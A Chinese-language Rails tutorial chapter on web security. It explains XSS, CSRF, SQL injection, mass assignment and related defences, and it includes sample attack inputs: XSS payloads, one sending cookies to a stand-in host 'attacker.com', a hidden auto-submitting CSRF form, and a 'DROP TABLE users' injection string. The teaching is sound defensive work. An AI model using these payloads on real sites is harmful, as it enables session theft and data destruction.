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网络安全

If you’re the smartest person in the room, you’re in the wrong room. - Unknown

一旦你的网站要放到互联网上，你就得接受被骇客攻击的风险，小则倒站，大则使用者资料被窃取。而从网络设备、作业系统、网站服务器、数据库到应用程式，有高达75%的攻击主要都发生在网站应用程式这一层，因此身为网站开发者的你，对于网络安全不能没有基本的认识。

所幸Rails本身就内建了许多安全机制，像是SQL injection、XSS和CSRF等，可以帮助我们防范常见的数种网络攻击，这一章会介绍几个网络安全上的防范重点。

关于网络安全，有几点观念值得一提：

  • 不像做功能有就有，没有就没有。网络安全只能说相对比较安全。
  • 不需要花太多功夫，网站就可以有足够的安全性。但是如果需要极高的安全需求，花费的成本才会大幅提升。 安全性有时和使用性(usability)*有时是冲突的，想要越高的安全性可能导致功能越难用(想想验证码吧)。这在设计上需要取舍。
  • 安全性必须是设计软件一开始就必须考量到

当然，还有一项最重要的网络安全黄金守则：“千万不要相信使用者输入进来的资料”。使用者是邪恶的，他们会有不预期的操作和输入不正常的资料。

跨站脚本攻击XSS(Cross-Site Scripting)

XSS可说是网站界第一名常见的攻击模式，恶意的使用者可以将脚本程式码放在网页上让其他使用者执行，任何可以让使用者输入资料的网站，都必须小心这个问题。例如可以将以下的程式贴到网页上：

<script>alert('HACK YOU!');</script>
<img src=javascript:alert('HACK YOU!')>
<table background="javascript:alert('HACK YOU!')">
<script>document.write(document.cookie);</script>
<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>

当一般使用者浏览到这一页时，就会跳出alert视窗，或是将敏感资料例如cookie内容传给攻击者。

要防范这个问题的方法，就是要逸出使用者输入的内容，例如将<script>变成&lt;script&gt;，使之显示出来的时候不让浏览器去执行。你可以会想只要逸出<script>就好了吧？这就错了，请千万不要尝试建立黑名单过滤，你可以参观XSS Cheat Sheet这个网站，就会知道有非常多形式可以让浏览器去执行脚本程式。因此最简单又保险的方式，就是全部逸出。这在Rails 3版本已经变成默认行为，任何View样本的字串，都会做HTML溢出。

如果你知道资料是安全的不要逸出，这时你要用html_safe或raw方法：

"<p>safe</p>".html_safe
# 或
raw("<p>safe</p>")

在Rails 3之前不会自动逸出，因此在样板中需要加escapeHTML()或h()方法。也因为很多人常常会忘记造成XSS漏洞，所以在Rails 3之后就改成默认逸出了。

如何开放使用者张贴HTML

但是有时候我们还是必须开放让使用者可以张贴简单的HTML内容，例如超连结、图片、标题等等。这时候我们可以用白名单的作法，Rails提供了sanitize()方法可以过滤溢出。

即使使用Textile或Markdown语法，你还是必须过滤HTML标签。

跨站伪造请求CSRF(Cross-site request forgery)

CSRF是说攻击者可以利用别人的权限去执行网站上的操作，例如删除资料。例如，攻击者张贴了以下脚本到网页上：

<img src="/posts/delete_all">

攻击者自己当然是没有权限可以执行”/posts/delete_all”这一页，但是网站管理员有。当网站管理员看到这一页时，浏览器就触发了这个不预期的动作而把资料删除。

要防范CSRF，首先可以从区别GET和POST的HTTP请求开始。我们在路由一章提过：所有读取、查询性质操作，都应该用GET，而会修改或删除到资料的，则要用POST、PATCH/PUT或DELETE。这样的设计，就可以防止上面的恶意程式码了，因为在浏览器中必须用表单form才能送出POST请求。

不过，这样还不够。因为即使是POST，浏览器还是可能不经过你同意而自动发送出去，例如：

<a href="http://www.harmless.com/" onclick="
  var f = document.createElement('form');
  f.style.display = 'none';
  this.parentNode.appendChild(f);
  f.method = 'POST';
  f.action = 'http://www.example.com/account/destroy';
  f.submit();
  return false;">To the harmless survey</a>

所幸，Rails内建了CSRF防御功能，也就是所有的POST请求，都必须加上一个安全验证码。在app/controllers/application_controller.rb你会看到以下程式启用这个功能：

class ApplicationController < ActionController::Base
  protect_from_forgery with: :exception
end

这个功能会在所有的表单中自动插入安全验证码：

<form action="/projects/1" class="edit_project" enctype="multipart/form-data" id="edit_project_1" method="post">
    <div style="margin:0;padding:0;display:inline">
    <input name="_method" type="hidden" value="patch" />
    <input name="authenticity_token" type="hidden" value="cuI+ljBAcBxcEkv4pbeqLTEnRUb9mUYMgfpkwOtoyiA=" />
</div>

如果POST请求没有带正确的验证码，Rails就会丢出一个ActionController:InvalidAuthenticityToken的错误。

Layout中也有一段<%= csrf_meta_tags %>是给JavaScript读取验证码用的。

SQL injection注入攻击

SQL injection注入是说攻击者可以输入任意的SQL让网站执行，这可说是最有杀伤力的攻击。如果你写出以下这种直接把输入放在SQL条件中的程式：

Project.where("name = '#{params[:name]}'")

那么使用者只要输入：

x'; DROP TABLE users; --

最后执行的SQL就会变成

SELECT * FROM projects WHERE name = 'x'; DROP TABLE users; --’

其中的;结束了第一句，第二句DROP TABLE users;就让你欲哭无泪。

Exploits of a Momhttp://xkcd.com/327/

要处理这个问题，也是一样要对任何有包括使用者输入值的SQL语句做逸出。在Rails ActiveRecord的where方法中使用Hash或Array写法就会帮你处理，所以请一定都用这种写法，而不要使用上述的字串参数写法：

Project.where( { :name => params[:name] } )
# or
Project.where( ["name = ?", params[:name] ] )

如果你有用到以下的方法，ActiveRecord是不会自动帮你逸出，要特别注意：

  • find_by_sql
  • execute
  • where 用字串参数
  • group
  • order

你可以自定一些固定的参数，并检查使用者输入的资料，例如：

class User < ActiveRecord::Base
  def self.find_live_by_order(order)
    raise "SQL Injection Warning" unless ["id","id desc"].include?(order)
    where( :status => "live" ).order(order)
  end
end

或是手动呼叫ActiveRecord::Base::connection.quote方法：

class User < ActiveRecord::Base
  def self.find_live_by_order(order)
    where( :status => "live" ).order( connection.quote(order) )
  end
end

大量赋值(Mass assignment)

Mass assignemet是个Rails专属，因为太方便而造成的安全性议题。ActiveRecord物件在新建或修改时，可以直接传入一个Hash来设定属性(这功能叫做Mass assignment)，所以我们可以直接将网页表单上的参数直接丢进放进去：

def create
  # 假設表單送出 params[:user] 參數是 
  # {:name => “ihover”, :email => "ihover@gmail.com", :is_admin => true}

  @user = User.create(params[:user])
end

def update
  @user = User.update(params[:user])
end

但是这个Model包含一些敏感属性，例如此例中is_admin是个辨别是否是管理员的Boolean值，恶意的使用者可以直接修改HTML表单送出is_admin=true，造成了安全上的漏洞，所以以上的程式实际上会出现ActiveModel::ForbiddenAttributesError的安全错误讯息。

为了解决这个问题，Rails使用了Strong Parameters的机制来检查params参数必须经过检查才可以做Mass assignment，例如上述的程式必须改成：

def create
  @user = User.create(user_params)
end

def update
  @user = User.update(user_params)
end

protected

def user_params
    params.require(:user).permit(:name, :email)
end

这样才可以一次赋值name和email。

当然，如果你没有Mass assignment的需求，大可不必用到Strong Parameters技巧，例如以下的程式也是可以运作的：

def create
  @user = User.create( :name => params[:user][:name], :email => params[:user][:email] )
end

Symbolize 问题

symbol是Ruby中常用的型态，相较于字串可以获得更好的执行效率，其占用内存较少，但其特性是不会被GC(garbage collection)内存回收的。因此只适合程式内部有限的情况中使用，而不要将使用者可以任意输入的参数做symbol化，例如：

if params[:category].to_sym == :first # 此例直接比較字串即可 params[:category] == "first"
   # do something
end

这样为什么会有安全性问题呢？这是因为如果恶意的使用者不断送出任意字符进行DoS(Denial of service attack)攻击，那么程式就会不断把params[:category]做symbolize，产生无法回收的内存，进而把内存全部用光。

不受限的资讯查询

当你需要根据使用者传进来的params[:id]做资料查询的时候，你需要注意查询的范围，例如以下是找订单：

  def show
    @order = Order.find(params[:id])
  end

使用者只要随意变更params[:id]，就可以查到别人的订单，你可能会写出以下的程式来防范：

def show
  @order = Order.find(params[:id])
  if @order.user_id != current_user.id
    render :text => "你沒有權限"
    return
  end
end

不过这是多余的写法，你其实只要透过ActiveRecord限定范围即可：

  def show
    @order = current_user.orders.find(params[:id])
  end

这样如果没权限，就会变成找不到资料而已。

敏感资讯处理

网站的敏感资讯，例如密码、信用卡卡号等，请不要存在以下空间：

  • cookie
  • session
  • flash
  • 长时间放在内存中
  • Log档案
  • 快取

其中Rails内建了log敏感资讯过滤的功能，在config/initializers/filter_parameter_logging.rb有一行这样的设定：

Rails.application.config.filter_parameters += [:password]

假设移除这一行，当使用者注册时输入密码，Log档案就会记录：

Processing UsersController#create (for 127.0.0.1 at 2009-01-02 10:13:13) [POST]
Parameters: {"user"=>{"name"=>"eifion", "password_confirmation"=>"secret", "password"=>"secret"},     "commit"=>"Register", "authenticity_token"=>"9efc03bcc37191d8a6dc3676e2e7890ecdfda0b5"}

其中的原始password就会被记录下来的，非常地不好。如果套用上述的设定，Rails则会过滤成：

Processing UsersController#create (for 127.0.0.1 at 2009-01-02 11:02:33) [POST]
Parameters: {"user"=>{"name"=>"susan", "password_confirmation"=>"[FILTERED]", "password"=>"[FILTERED]"}, "commit"=>"Register", "action"=>"create", "authenticity_token"=>"9efc03bcc37191d8a6dc3676e2e7890ecdfda0b5", "controller"=>"users"}

这样就毫无记录了。

投影片

  • Rails Security Best Practices

其他线上资源

  • Ruby On Rails Security Guide
  • The Open Web Application Security Project
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